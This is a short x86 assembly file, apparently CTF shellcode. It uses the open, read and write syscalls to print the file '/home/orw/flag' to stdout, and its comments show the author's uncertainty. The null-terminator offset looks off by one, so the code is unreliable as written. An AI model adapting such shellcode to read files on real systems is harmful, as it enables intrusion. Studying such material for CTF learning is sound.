global _start
_start:
jmp short data
str_found:
xor eax, eax
mov al, 5 ;sys_open

xor ecx, ecx ; arg2
xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY  00000000

pop ebx
mov [ebx + 15], ecx ; arg1
int 0x80

;eax now contains our file descriptor.

mov ebx, eax
mov al, 3     ;sys_read
mov ecx, esp  ;I think?
xor edx, edx
mov dl, 0xff  ;eh, random guess I guess
int 0x80


mov al, 4
xor ebx, ebx
mov bl, 1
mov ecx, esp
;dl stays the same
int 0x80



data:
call str_found
db "/home/orw/flag"